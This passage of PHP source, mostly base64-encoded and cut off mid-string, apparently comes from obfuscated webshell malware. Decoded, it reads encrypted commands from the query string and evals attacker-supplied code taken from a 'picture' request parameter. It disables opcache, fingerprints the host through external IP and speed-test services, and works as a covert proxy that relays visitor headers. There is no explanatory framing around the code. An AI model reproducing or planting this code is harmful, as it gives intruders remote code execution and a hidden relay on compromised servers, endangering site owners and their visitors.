IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgppZiAoKCFpc3NldCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKSkgfHwgKCEkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl0pKSAgZGllKCdOTyBRVUVSWSBTVFJJTkcnKTsKCgokdGhpc2ZpbGU9dHJpbShwcmVnX3JlcGxhY2UoJy9cKC4qJC8nLCcnLCBfX0ZJTEVfXykpOwoKaWYgKGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQoJCXsKCQlpbmlfc2V0KCdvcGNhY2hlLmVuYWJsZScsIDApOwoJCWluaV9zZXQoJ29wY2FjaGUuZW5hYmxlX2NsaScsIDApOwoJCX0KCmlmIChmdW5jdGlvbl9leGlzdHMoJ29wY2FjaGVfaW52YWxpZGF0ZScpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgb3BjYWNoZV9pbnZhbGlkYXRlKF9fRklMRV9fLCB0cnVlKTsKICAgICAgICAgICAgICAgIG9wY2FjaGVfaW52YWxpZGF0ZSgkdGhpc2ZpbGUsIHRydWUpOwogICAgICAgICAgICAgICAgfQoKZXZhbCgnJCcuZ2VuZXJhdGVfcmFuZG9tX3N0cmluZyhyYW5kKDcsMjApKS4iPSciLmdlbmVyYXRlX3JhbmRvbV9zdHJpbmcocmFuZCgxMCw0MCkpLiInOyIpOwoKCgoJCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgREVCVUcgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojZWNobyAiPHByZT4iOwojcHJpbnRfcigkX1NFUlZFUik7CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgREVCVUcgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKCXBhcnNlX3N0cigkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10sJHFzKTsKCSRrYXY9YXJyYXkoKTsgLy9rZXlzIGFuZCB2YWx1ZXMKCWZvcmVhY2ggKCRxcyBhcyAka2V5PT4kdmFsdWUpICAka2F2PWFycmF5X21lcmdlKCRrYXYsZXh0cmFjdF9rYXYoJGtleSksZXh0cmFjdF9rYXYoJHZhbHVlKSk7Cglmb3JlYWNoICgka2F2IGFzICRsaW5lKQoJewoJCSRwYXJhbXM9X2RfZV9jb2RlKCRsaW5lLFRSVUUpOwoJCWlmICgkcGFyYW1zIT09TlVMTCkgYnJlYWs7Cgl9CiN2YXJfZHVtcCgkcGFyYW1zKTtkaWUoKTsKI2VjaG8gX19MSU5FX18uIlxuIjtkaWUoKTsKCmlmICghJHBhcmFtcykgZGllKCdGYWlsZWQgdG8gZGVjb2RlIHBhcmFtcycpOyAvLyEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhCiRyZXF1ZXN0X2FwaSA9IChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSA/ICdjdXJsJyA6ICdzc2MnOwoKaWYgKCEkcGFyYW1zLT5wcm94eV9iYXNlKSAkcGFyYW1zLT5wcm94eV9iYXNlPXJlc29sdmVfcHJveHlfYmFzZSgpOwoKCiRpbmZvPWFycmF5KAoJCSJjb3VudHJ5X2NvZGUiID0+ICduL2EnLAoJCSJ0eXBlIiA9PiAkcmVxdWVzdF9hcGksCgkJJ2Rvd25zcGVlZCcgPT4gJ24vYScsCgkgICAgICAgICdwcm94eV92ZXJzaW9uJyA9PiBQUk9YWV9WRVJTSU9OLAoJCSd1bmFtZScgPT4gcGhwX3VuYW1lKCksCgkJJ3BocF92ZXJzaW9uJyA9PiBQSFBfVkVSU0lPTiwKCSAgICAgICAgJ2lub2RlJyAgID0+IGZpbGVpbm9kZSgkdGhpc2ZpbGUpLAoJICAgICAgICAnbXRpbWUnICAgPT4gZmlsZWN0aW1lKCR0aGlzZmlsZSksCgkgICAgICAgICdzdGF0dXMnICA9PiAnT0snLAoJICAgICAgICAncHJveHlfYmFzZScgID0+ICRwYXJhbXMtPnByb3h5X2Jhc2UsCgkgICAgICAgICdwYXRoJyAgPT4gJHRoaXNmaWxlCgkJKTsKCgppZiAoJHBhcmFtcy0+YWN0aW9uKQoJewpzd2l0Y2ggKCRwYXJhbXMtPmFjdGlvbikgewogICAgICAgIGNhc2UgJ3N0YXR1cyc6CiAgICAgICAgY2FzZSAnZnN0YXR1cyc6CiAgICAgICAgICAgICAgICAkaW5mb1snbG9hZGF2ZyddICA9IG1yZWFkZmlsZSgnL3Byb2MvbG9hZGF2ZycpID8gIG1yZWFkZmlsZSgnL3Byb2MvbG9hZGF2ZycpIDogJ24vYSc7CgkJJG1lPXN5c19nZXRfdGVtcF9kaXIoKS5ESVJFQ1RPUllfU0VQQVJBVE9SLm1kNShfX0ZJTEVfXyk7CgkJaWYgKGZpbGVfZXhpc3RzKCRtZSkpICRpbmZvWydkb3duc3BlZWQnXT1maWxlX2dldF9jb250ZW50cygkbWUpOwoJCWlmICgoJHBhcmFtcy0+YWN0aW9uPT0nZnN0YXR1cycpICYmICgoIWZpbGVfZXhpc3RzKCRtZSkpIHx8ICgodGltZSgpLWZpbGVtdGltZSgkbWUpKT45MDApKSkKCQkJewogICAgICAgICAgICAgICAgJHN0YXJ0PW1pY3JvdGltZSh0cnVlKTsKCQkkcmVxaW5mbz1yZXF1ZXN0KCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQml0RG9jdG9yL3NwZWVkLXRlc3QtZmlsZS9tYXN0ZXIvNW1iLnR4dCIsJHJlcXVlc3RfYXBpKTsgLy9yZXR1cm4gYXJyYXkoJHJlc3BvbnNlQ29kZSwkcmVzcG9uc2VIZWFkZXIsJHJlc3BvbnNlQm9keSkKCQlpZiAoc3RybGVuKGJhc2U2NF9kZWNvZGUoJHJlcWluZm9bMl0pKSkKICAgICAgICAgICAgICAgICRpbmZvWydkb3duc3BlZWQnXSA9IGJ5dGUyKHN0cmxlbihiYXNlNjRfZGVjb2RlKCRyZXFpbmZvWzJdKSkgLyAobWljcm90aW1lKHRydWUpIC0gJHN0YXJ0KSk7CgkJCQllbHNlICRpbmZvWydkb3duc3BlZWQnXT0nbi9hJzsKCQlmaWxlX3B1dF9jb250ZW50cygkbWUsJGluZm9bJ2Rvd25zcGVlZCddKTsKCQkJfSAKCQkkcmVxaW5mbz1yZXF1ZXN0KCJodHRwczovL2lwd2hvLmlzLyIsJHJlcXVlc3RfYXBpKTsgLy9yZXR1cm4gYXJyYXkoJHJlc3BvbnNlQ29kZSwkcmVzcG9uc2VIZWFkZXIsJHJlc3BvbnNlQm9keSkgCiAgICAgICAgICAgICAgICAkaXBfaW5mbz1qc29uX2RlY29kZSgkcmVxaW5mb1syXSxUUlVFKTsKICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkaXBfaW5mbykgJiYgKCRpcF9pbmZvWydzdWNjZXNzJ109PVRSVUUpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9bJ2lwJ109JGlwX2luZm9bImlwIl07CiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvWydjb3VudHJ5X2NvZGUnXT0kaXBfaW5mb1siY291bnRyeV9jb2RlIl07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZXZhbCc6CiAgICAgICAgICAgICAgICAkY29kZT1pc3NldCgkX1JFUVVFU1RbJ3BpY3R1cmUnXSkgPyBiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsncGljdHVyZSddKSA6IEZBTFNFOwogICAgICAgICAgICAgICAgaWYgKCRjb2RlKSB0cnkKICAgICAgICAgICAgICAgICAgICAgewoJCQlldmFsKCRjb2RlKTsgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAkaW5mb1snc3RhdHVzJ10gID0gJ0ZBSUxFRCc7CiAgICAgICAgICAgICAgICAkaW5mb1snZXhjZXB0aW9uJ10gID0gJGUtPmdldE1lc3NhZ2UoKTsKICAgICAgICAgICAgICAgICRpbmZvWydyYXdjb2RlJ10gID0gJGNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CgkJICAgICAgIH0KCiAgICAgICAgJGluZm9bJ2FjdGlvbiddICAgPSAkcGFyYW1zLT5hY3Rpb247CiAgICAgICAgbXAoJGluZm8sJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKTsKICAgICAgICB9CgoKCgppZiAoJHBhcmFtcy0+dXJsKQoJewoJCSRjY3JjMzI9RkFMU0U7CgkJJGNmaWxlbmFtZT1jYWNoZWRfZm5hbWUoJHBhcmFtcy0+dXJsKTsKCgkJaWYgKCgkcGFyYW1zLT5jYWNoZSkgJiYgJGNmaWxlbmFtZSkKCQkJewoJCQlsaXN0KCRyZXNwb25zZUNvZGUsJHJlc3BvbnNlSGVhZGVyLCRyZXNwb25zZUJvZHkpPWV4cGxvZGUoIlxuIixmaWxlX2dldF9jb250ZW50cygkY2ZpbGVuYW1lKSk7CgkJCSRyZXNwb25zZUNvZGU9X2RfZV9jb2RlKCRyZXNwb25zZUNvZGUsVFJVRSk7CgkJCSRyZXNwb25zZUhlYWRlcj1fZF9lX2NvZGUoJHJlc3BvbnNlSGVhZGVyLFRSVUUpOwoJCQkkcmVzcG9uc2VCb2R5PWJhc2U2NF9kZWNvZGUoX2RfZV9jb2RlKCRyZXNwb25zZUJvZHksVFJVRSkpOwoJCQkkY2FjaGVkY3JjMzI9Y3JjMzIoJHJlc3BvbnNlQm9keSk7CgkJCSRvcmlnY3JjMzI9JHBhcmFtcy0+Y2FjaGUtPmNyYzMyOwoJCQl9CgkJaWYgKCEoJHBhcmFtcy0+Y2FjaGUpIHx8ICgkY2FjaGVkY3JjMzIhPSRvcmlnY3JjMzIpKQoJCQkJewoJCQkJJGhlYWRlcnM9YXJyYXkoKTsKCQkJCSR2aXNpdG9yX2hlYWRlcnM9X2RfZV9jb2RlKGFycmF5X21lcmdlKGdldF9pbmNvbWluZ19oZWFkZXJzKCksYXJyYXkoJ3Byb3h5X2Jhc2UnPT4kcGFyYW1zLT5wcm94eV9iYXNlLCdwcm94eV92ZXJzaW9uJz0+UFJPWFlfVkVSU0lPTikpKTsKCQkJCSRoZWFkZXJzW109IlJFUVVFU1QtREFUQTogIi4kdmlzaXRvcl9oZWFkZXJzOwoJCQkJJGhlYWRlcnNbXT0iQUNDRVBUOiAqLyoiOwoJCQkJbGlzdCgkcmVzcG9uc2VDb2RlLCRyZXNwb25zZUhlYWRlciwkcmVzcG9uc2VCb2R5KT1yZXF1ZXN0KCRwYXJhbXMtPnVybCwkcmVxdWVzdF9hcGksJGhlYWRlcnMpOwoJCQkJaWYgKCgkY2ZpbGVuYW1lKSYmKGZpbGVfZXhpc3RzKCRjZmlsZW5hbWUpKSkgdW5saW5rKCRjZmlsZW5hbWUpOwoJCQkJaWYgKCgkcGFyYW1zLT5jYWNoZSkmJigkY2ZpbGVuYW1lKSkgZmlsZV9wdXRfY29udGVudHMoJGNmaWxlbmFtZSxfZF9lX2NvZGUoJHJlc3BvbnNlQ29kZSkuIlxuIi5fZF9lX2NvZGUoJHJlc3BvbnNlSGVhZGVyKS4iXG4iLl9kX2VfY29kZSgkcmVzcG9uc2VCb2R5KSk7CgkJCQkkcmVzcG9uc2VCb2R5PWJhc2U2NF9kZWNvZGUoJHJlc3BvbnNlQm9keSk7CgkJCQl9CgkJCWh0dHBfcmVzcG9uc2VfY29kZSgkcmVzcG9uc2VDb2RlKTsKCQkJJHJlc3BvbnNlSGVhZGVycyA9IHNwbGl0UmVzcG9uc2VIZWFkZXJzKCRyZXNwb25zZUhlYWRlcik7CgkJCWZvcmVhY2ggKCRyZXNwb25zZUhlYWRlcnMgYXMgJGhlYWRlcikgCXsKCQkJJGhlYWRlclBhcnRzID0gcHJlZ19zcGxpdCgnLzpccysvJywgJGhlYWRlciwgMik7CgkJCWlmIChjb3VudCgkaGVhZGVyUGFydHMpICE9PSAyKSB7Y29udGludWU7fQoKCQkJJGhlYWRlck5hbWUgPSAkaGVhZGVyUGFydHNbMF07CgkJCSRsb3dlcmVkSGVhZGVyTmFtZSA9IHN0cnRvbG93ZXIoJGhlYWRlck5hbWUpOwoJCQkkaGVhZGVyVmFsdWUgPSAkaGVhZGVyUGFydHNbMV07CgkJCSRsb3dlcmVkSGVhZGVyVmFsdWUgPSBzdHJ0b2xvd2VyKCRoZWFkZXJWYWx1ZSk7CgoJCQlpZiAoaW5fYXJyYXkoJGxvd2VyZWRIZWFkZXJOYW1lLCBhcnJheSgidXJsIiwicHJpbWFyeS1pcCIsImNlcnRpbmZvIiwicHJpbWFyeS1wb3J0IiwibG9jYWwtaXAiLCJsb2NhbC1wb3J0IiwiY29udGVudC1sZW5ndGgiLCJjYWNoZS1jb250cm9sIiwibGFzdC1tb2RpZmllZCIsImFjY2VwdC1yYW5nZXMiKSkpIGNvbnRpbnVlOwoJCQloZWFkZXIoIiRoZWFkZXJOYW1lOiAkaGVhZGVyVmFsdWUiLHRydWUpOwoJCQkJCQkJfQoJCWlmICgkcmVzcG9uc2VCb2R5KQoJCQl7CgkJZWNobyAkcmVzcG9uc2VCb2R5OwoJCWlmICgkcGFyYW1zLT5yYW5kb21pemUpIGVjaG8gcmFuZG9taXplX291dHB1dCgpOwoJCQl9CgoJfQokX1NFUlZFUlsiUVVFUllfU1RSSU5HIl09Z2VuZXJhdGVfcmFuZG9tX3N0cmluZyhyYW5kKDMwLDE1MCkpOwpkaWUoKTs=';
$proxy_code='aGVhZGVyKCJBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoiLHRydWUpOwpoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIix0cnVlKTsKaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiIC4gZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpIC4gIiBHTVQiLHRydWUpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIix0cnVlKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIix0cnVlKTsKaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIix0cnVlKTsKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpkZWZpbmUoJ1BST1hZX1ZFUlNJT04nLCAnNC4wLjInKTsKZGVmaW5lKCdQUk9YWV9QQVNTV09SRCcsICdfX1BBU1NXT1JEX18nKTsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIHJjNCgkc3RyLCRrZXk9UFJPWFlfUEFTU1dPUkQpIHsKICAgIGlmIChlbXB0eSgkc3RyKSkgcmV0dXJuICcnOwogICAgaWYgKCFpc19zdHJpbmcoJHN0cikpICRzdHI9c3RydmFsKCRzdHIpOwogICAgICAgICRzID0gYXJyYXkoKTsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAyNTY7ICRpKyspIHsKICAgICAgICAgICAgICAgICRzWyRpXSA9ICRpOwogICAgICAgIH0KICAgICAgICAkaiA9IDA7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgMjU2OyAkaSsrKSB7CiAgICAgICAgICAgICAgICAkaiA9ICgkaiArICRzWyRpXSArIG9yZCgka2V5WyRpICUgc3RybGVuKCRrZXkpXSkpICUgMjU2OwogICAgICAgICAgICAgICAgJHggPSAkc1skaV07CiAgICAgICAgICAgICAgICAkc1skaV0gPSAkc1skal07CiAgICAgICAgICAgICAgICAkc1skal0gPSAkeDsKICAgICAgICB9CiAgICAgICAgJGkgPSAwOwogICAgICAgICRqID0gMDsKICAgICAgICAkcmVzID0gJyc7CiAgICAgICAgZm9yICgkeSA9IDA7ICR5IDwgc3RybGVuKCRzdHIpOyAkeSsrKSB7CiAgICAgICAgICAgICAgICAkaSA9ICgkaSArIDEpICUgMjU2OwogICAgICAgICAgICAgICAgJGogPSAoJGogKyAkc1skaV0pICUgMjU2OwogICAgICAgICAgICAgICAgJHggPSAkc1skaV07CiAgICAgICAgICAgICAgICAkc1skaV0gPSAkc1skal07CiAgICAgICAgICAgICAgICAkc1skal0gPSAkeDsKICAgICAgICAgICAgICAgICRyZXMgLj0gJHN0clskeV0gXiBjaHIoJHNbKCRzWyRpXSArICRzWyRqXSkgJSAyNTZdKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZXM7Cn0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIF9kX2VfY29kZSgkaW5wdXQsJGRlY29kZT1GQUxTRSkKCXsKCSR0b2RvID0gJGRlY29kZSA/ICdkZWNvZGUnIDogJ2VuY29kZSc7CgkkZnVuY3M9YXJyYXkoJ2pzb25fJy4kdG9kbywncmM0JywnYmFzZTY0XycuJHRvZG8sJ3Jhd3VybCcuJHRvZG8pOwoJaWYgKCRkZWNvZGUpICRmdW5jcz0gYXJyYXlfcmV2ZXJzZSgkZnVuY3MpOwoJZm9yZWFjaCAoJGZ1bmNzIGFzICRmdW5jKSAkaW5wdXQ9JGZ1bmMoJGlucHV0KTsKCXJldHVybiAkaW5wdXQ7Cgl9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiBjYWNoZWRfZm5hbWUoJGZpbGVfcGF0aCkKCQl7CgkkY2FjaGVkaXI9c3lzX2dldF90ZW1wX2RpcigpOwoJaWYgKCghaXNfd3JpdGFibGUoJGNhY2hlZGlyKSl8fCghaXNfcmVhZGFibGUoJGNhY2hlZGlyKSkpIHJldHVybiBGQUxTRTsKCSRjYWNoZWRfZm5hbWUgPV9kX2VfY29kZShiYXNlbmFtZSgkZmlsZV9wYXRoKSk7CglyZXR1cm4gJGNhY2hlZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IucHJlZ19yZXBsYWNlKCcvW15hLXpBLVowLTlfLi1dLycsICcnLCAkY2FjaGVkX2ZuYW1lKTsKCQl9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiByZXNvbHZlX2NsaWVudF9pcCgpIDpzdHJpbmcKewogICAgJGhlYWRlcnMgPSBhcnJheSgKICAgICAgICAnSFRUUF9DRl9DT05ORUNUSU5HX0lQJywgLy8gQ2xvdWRGbGFyZQogICAgICAgICdIVFRQX1hfRk9SV0FSREVEX0ZPUicsICAvLyBBV1MgTEIgYW5kIG90aGVyIHJldmVyc2UtcHJveGllcwogICAgICAgICdIVFRQX1hfUkVBTF9JUCcsCiAgICAgICAgJ0hUVFBfWF9DTElFTlRfSVAnLAogICAgICAgICdIVFRQX0NMSUVOVF9JUCcsCiAgICAgICAgJ0hUVFBfWF9DTFVTVEVSX0NMSUVOVF9JUCcKICAgICk7CiAgICBmb3JlYWNoICgkaGVhZGVycyBhcyAkaGVhZGVyKSB7CiAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoJGhlYWRlciwgJF9TRVJWRVIpKSB7CiAgICAgICAgICAgICRpcCA9ICRfU0VSVkVSWyRoZWFkZXJdOwogICAgICAgICAgICAvLyBUaGlzIGxpbmUgbWlnaHQgb3IgbWlnaHQgbm90IGJlIHVzZWQuCiAgICAgICAgICAgICRpcCA9IHRyaW0oZXhwbG9kZSgnLCcsICRpcClbMF0pOwogICAgICAgICAgICAKICAgICAgICAgICAgcmV0dXJuICRpcDsKICAgICAgICB9CiAgICB9CiAgICAKICAgIHJldHVybiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gcmVzb2x2ZV9wcm94eV9iYXNlKCkKCXsKCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkpICRwcm90bz0naHR0cHMnOwoJZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSkgJHByb3RvPSRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ107CgllbHNlICRwcm90bz0naHR0cCc7CgkkYmFzZT0kcHJvdG8uIjovLyIuJF9TRVJWRVJbIkhUVFBfSE9TVCJdOwoJJGJhc2UuPSRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdOwoJcmV0dXJuICRiYXNlOwoJfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gZ2V0X2luY29taW5nX2hlYWRlcnMoKQoJCXsKCSRza2lwdGhpcyA9IGFycmF5CSgKICAgICAgICAJJ0hUVFBfSE9TVCcsCgkJJ0hUVFBfQUNDRVBUJywKCSAgICAgICAgJ0hUVFBfQUNDRVBUX0VOQ09ESU5HJwoJCQkJKTsKCSRjbGllbnRfaGVhZGVycz1hcnJheSgpOwoJZm9yZWFjaCAoJF9TRVJWRVIgYXMgJGtleSA9PiAkdmFsdWUpCgkJCXsKCSRrZXk9c3RydG91cHBlcigka2V5KTsKCWlmICgoc3RycG9zKCRrZXksICdIVFRQXycpICE9PSAwKSB8fCAoaW5fYXJyYXkoJGtleSwkc2tpcHRoaXMpKSkgY29udGludWU7CgkkY2xpZW50X2hlYWRlcnNbJGtleV09JHZhbHVlOwoJCQl9CgoJJGNsaWVudF9oZWFkZXJzWydSRU1PVEVfQUREUiddPXJlc29sdmVfY2xpZW50X2lwKCk7CgovLwlwcmludF9yKCRjbGllbnRfaGVhZGVycyk7CglyZXR1cm4gYXJyYXkoJ3Zpc2l0b3JfaGVhZGVycyc9PiRjbGllbnRfaGVhZGVycyk7CgkJfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gZXh0cmFjdF9rYXYoJGlucHV0KSB7IC8vZXh0cmFjdCBrZXkgYW5kIHZhbHVlcwoJJGFyciA9IChpc19hcnJheSgkaW5wdXQpID8gYXJyYXlfbWVyZ2UoYXJyYXlfa2V5cygkaW5wdXQpLGFycmF5X3ZhbHVlcygkaW5wdXQpKSA6IGFycmF5KCRpbnB1dCkpOwoJJGFycnggPSBhcnJheSgpOwoJZm9yZWFjaCAoJGFyciBhcyAkc3RyaW5nKQoJCQl7CgkJaWYgKHN0cnBvcygkc3RyaW5nLCddJyk9PT1GQUxTRSkgY29udGludWU7CgkJJHN0cmluZz1zdHJfcmVwbGFjZSgnXScsJycsJHN0cmluZyk7CgkJZm9yZWFjaCAoZXhwbG9kZSgnWycsJHN0cmluZykgYXMgJG5hbWUpICRhcnJ4W109JG5hbWU7CgkJCX0KCXJldHVybiBhcnJheV9tZXJnZSgkYXJyLCRhcnJ4KTsKfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gbXAoJGFycj0nJywkY29udD1GQUxTRSkKICAgICAgICB7CiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkYXJyKTsKICAgICAgICBpZiAoISRjb250KSBleGl0KDApOwogICAgICAgIH0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIG1yZWFkZmlsZSgkZmlsZT0nJykKICAgICAgICB7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSAmJiBpc19yZWFkYWJsZSgkZmlsZSkpIHJldHVybiBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CiAgICAgICAgZWxzZSByZXR1cm4gRkFMU0U7CiAgICAgICAgfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gcmkoJiR2YXJpYWJsZSwgJGRlZmF1bHQgPSBudWxsKQp7CiAgICAgICAgaWYgKGlzc2V0KCR2YXJpYWJsZSkpIHsKICAgICAgICAgICAgcmV0dXJuICR2YXJpYWJsZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJGRlZmF1bHQ7CiAgICAgICAgfQp9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiBnZW5lcmF0ZV9yYW5kb21fc3RyaW5nKCRsZW5ndGggPSAxMCkgewogICAgJGNoYXJhY3RlcnMgPSAnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWic7CiAgICAvLyBSZXBlYXQgdGhlIGNoYXJhY3RlciBzZXQgdG8gZW5zdXJlIGFsbCBjaGFyYWN0ZXJzIGNhbiBwb3RlbnRpYWxseSByZXBlYXQKICAgICRzaHVmZmxlZF9jaGFycyA9IHN0cl9zaHVmZmxlKHN0cl9yZXBlYXQoJGNoYXJhY3RlcnMsIGNlaWwoJGxlbmd0aCAvIHN0cmxlbigkY2hhcmFjdGVycykpKSk7CiAgICAvLyBFeHRyYWN0IGEgc3Vic3RyaW5nIG9mIHRoZSBkZXNpcmVkIGxlbmd0aAogICAgcmV0dXJuIHN1YnN0cigkc2h1ZmZsZWRfY2hhcnMsIDAsICRsZW5ndGgpOwp9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiBieXRlMigkYnl0ZXMpIHsKICAgICAgICAkc2l6ZSA9IGFycmF5KCdCL3MnLCdLQi9zJywnTUIvcycsJ0dCL3MnLCdUQi9zJyk7CiAgICAgICAgJGZhY3RvciA9IGZsb29yKGxvZygkYnl0ZXMsIDEwMjQpKTsKICAgICAgICAkZm9ybWF0ID0gJGZhY3RvciA+IDIgPyAnJS4xRiAlcycgOiAnJXUgJXMnOwogICAgICAgIHJldHVybiBzcHJpbnRmKCRmb3JtYXQsICRieXRlcyAvIHBvdygxMDI0LCAkZmFjdG9yKSwgJHNpemVbJGZhY3Rvcl0pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiByYW5kb21pemVfb3V0cHV0KCkKCQl7Cgkkb3V0PSIiOwoJJHJuZGNoYXJzPWFycmF5KCJcbiIsIlx0IiwiICIpOwoJZm9yICgkaT0wOyRpPD1yYW5kKDMsMTUpOyRpKyspICRvdXQuPSRybmRjaGFyc1thcnJheV9yYW5kKCRybmRjaGFycyldOwoJcmV0dXJuICRvdXQ7CgkJfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gc3BsaXRSZXNwb25zZUhlYWRlcnMoJGhlYWRlclN0cmluZykKewogICAgJHJlc3VsdHMgPSBhcnJheSgpOwogICAgJGhlYWRlckxpbmVzID0gcHJlZ19zcGxpdCgnL1tcclxuXSsvJywgJGhlYWRlclN0cmluZyk7CiAgICBmb3JlYWNoICgkaGVhZGVyTGluZXMgYXMgJGhlYWRlckxpbmUpIHsKICAgICAgICBpZiAoZW1wdHkoJGhlYWRlckxpbmUpKSB7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KCiAgICAgICAgLy8gSGVhZGVyIGNvbnRhaW5zIEhUVFAgdmVyc2lvbiBzcGVjaWZpY2F0aW9uIGFuZCBwYXRoCiAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyTGluZSwgJ0hUVFAvJykgPT09IDApIHsKICAgICAgICAgICAgLy8gUmVzZXQgdGhlIG91dHB1dCBhcnJheSBhcyB0aGVyZSBtYXkgYnkgbXVsdGlwbGUgcmVzcG9uc2UgaGVhZGVycwogICAgICAgICAgICAkcmVzdWx0cyA9IGFycmF5KCk7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KCiAgICAgICAgJHJlc3VsdHNbXSA9ICIkaGVhZGVyTGluZSI7CiAgICB9CgogICAgcmV0dXJuICRyZXN1bHRzOwp9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2h0dHBfcmVzcG9uc2VfY29kZScpKSB7C